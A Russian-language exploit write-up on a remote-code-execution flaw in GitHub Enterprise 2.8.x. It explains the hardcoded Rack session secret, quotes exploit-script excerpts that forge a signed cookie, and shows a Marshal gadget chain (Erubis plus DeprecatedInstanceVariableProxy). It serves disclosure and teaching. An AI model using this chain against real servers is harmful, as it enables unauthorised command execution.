Автор: iblue
BRIEF
Эта уязвимость существует из-за применения статического ключа для подписи сессии. Атакующий может отправить произвольные данные и подтвердить их валидность с помощью сигнатуры, используя известный ключ. Отправив специально сформированный сериализованный объект, атакующий может скомпрометировать систему. Сериализованные данные будут преобразованы в объект Ruby при помощи модуля Marshal и выполнены.
EXPLOIT
Для тестирования уязвимости я скачал и развернул копию GitHub Enterprise версии 2.8.5 в виде образа виртуальной машины в формате OVA.
Теперь давай разбираться в причинах уязвимости и способе ее эксплуатации.
Константа SECRET и валидация сессии
Посмотрим на исходник сплоита. Он написан на чистом Ruby, в то время как сам GitHub Enterprise почти полностью на Ruby с использованием Ruby on Rails и веб-фреймворка Sinatra.
1: #!/usr/bin/ruby
...
7: SECRET = "641dd6454584ddabfed6342cc66281fb"
Начало многообещающее. Что же это за SECRET
такой? Обращаемся к сорцам GitHub Enterprise. Просто так это сделать не получится, поскольку они находятся в легкой стадии обфускации. Для этого в GitHub используют кастомную библиотеку.
Запрос <span class=nobr>ruby_concealer</span>
в Гугле расскажет тебе о том, что для обфускации используется XOR с ключом This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken
и последующим сжатием по алгоритму deflate. Этот скрипт на Ruby поможет справиться с «защитой». Запускать его нужно из директории /data
.
Интерфейс консоли управления является Rack-приложением, поэтому давай заглянем внутрь файла config.ru.
/data/enterprise-manage/current/config.ru:
62: # Enable sessions
63: use Rack::Session::Cookie,
64: :key => "_gh_manage",
65: :path => "/",
66: :expire_after => 1800, # 30 minutes in seconds
67: :secret => ENV["ENTERPRISE_SESSION_SECRET"] || "641dd6454584ddabfed6342cc66281fb"
А вот и SECRET! Переменная ENTERPRISE_SESSION_SECRET
по умолчанию нигде не устанавливается, поэтому SECRET
на всех серверах имеет одинаковое значение — 641dd6454584ddabfed6342cc66281fb
. Как организован интерфейс работы с сессиями в Rack, ты можешь детально изучить в его исходниках. Если вкратце, то алгоритм такой:
- данные приложения записываются в переменную ENV["rack.session"];
- используется модуль Marshal для сериализации данных приложения в строку;
- сериализованные данные кодируются в Base64;
- к полученной строке добавляется контрольная сумма
HMAC::SHA-1
. Используются данные сессии, а в качестве соли стоит:secret
; - полученная строка сохраняется в куке
_gh_manage
.
Чтобы проверить, уязвимо ли приложение, проделываем обратную процедуру. Берем существующую куку, отделяем данные Base64, считаем от них хеш и проверяем, совпадает ли он с тем, что указан в куке. Тут можешь посмотреть исходник алгоритма, выполнить его и увидеть результат.
Это первый шаг, который выполняет эксплоит.
58: # Parse the cookie
59: begin
...
65: rescue
66: not_vulnerable
Если проверка проходит успешно, значит, версия уязвима и мы можем передавать любые данные в функцию Marshal.load()
. Если ты не знаешь, что это такое, то советую прочитать про сериализацию объектов в Ruby. Формат Marshal, помимо прочих типов данных, разрешает сохранение объектов и их использование после загрузки. Это открывает огромный простор для эксплуатационного творчества. Нам нужно собрать такой объект, который выполнит код после доступа к нему.
Подготовка объектов для RCE
Для начала разберемся непосредственно с выполнением кода. В Ruby on Rails представления описываются при помощи шаблонов Embedded Ruby (ERB). Модуль Erubis читает файл .erb и генерирует объект Erubis::Eruby
. Текст из шаблона копируется в переменную @src. После вызова метода result
код из этой переменной выполняется.
10: module Erubis
...
52: ## eval(@src) with binding object
53: def result(_binding_or_hash=TOPLEVEL_BINDING)
...
65: return eval(@src, _b, (@filename || '(erubis'))
Поэтому первым делом создаем объект Erubis::Eruby
и помещаем в @src
нужный нам код на Ruby.
78: erubis = Erubis::Eruby.allocate
79: erubis.instance_variable_set :@src, "#{code}; 1"
Осталась еще одна проблема. Нужно каким-то образом вызвать метод result у новоиспеченного объекта. Для этого можно воспользоваться классом DeprecatedInstanceVariableProxy из модуля ActiveSupport в Rails. Он используется для того, чтобы объявлять переменные устаревшими.
80: proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
81: proxy.instance_variable_set :@instance, erubis
82: proxy.instance_variable_set :@method, :result
83: proxy.instance_variable_set :@var, "@result"
При вызове приложение вернет предупреждение о том, что переменная erubis устарела, а магический метод send вызовет метод, указанный нами в @method
.
/activesupport/lib/active_support/deprecation/proxy_wrappers.rb:
089: class DeprecatedInstanceVariableProxy < DeprecationProxy
090: def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance)
091: @instance = instance
092: @method = method
...
098: def target
099: @instance.<span class=nobr>send</span>(@method)
...
102: def warn(callstack, called, args)
103: @deprecator.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
Теперь при получении доступа к session["exploit"]
будет вызван метод erubis.result
, который и выполнит наш код.
85: session = {"session_id" => "", "exploit" => proxy}
Выполнение произвольного кода
Остается только сериализовать полученный объект, кодировать в Base64, подписать известным нам ключом и записать полученную строку в _gh_manage
.
87: # Marshal session
88: dump = [Marshal.dump(session)].pack("m")
89: hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
90:
91: puts "[+] Sending cookie..."
92:
93: rqst = Net::HTTP::Get.new("/")
94: rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}"
95:
96: res = http.request(rqst)
Далее отправляем запрос с готовой кукой на сервер, и, ура-ура, теперь мы можем выполнять любые команды на сервере.
Если не хочешь возиться с Ruby, можешь воспользоваться этой ссылкой. Меняешь переменную cmd
, нажимаешь Run и на выходе получаешь готовую куку. Очень удобно использовать при тестированиях на проникновение.
TARGETS
GitHub Enterprise 2.8.0 < 2.8.6.
SOLUTION
Разработчики исправили уязвимость в новой версии приложения, а также выпустили патч для версий ниже 2.8.6. Теперь при установке выполняется скрипт, который генерирует рандомный секретный ключ.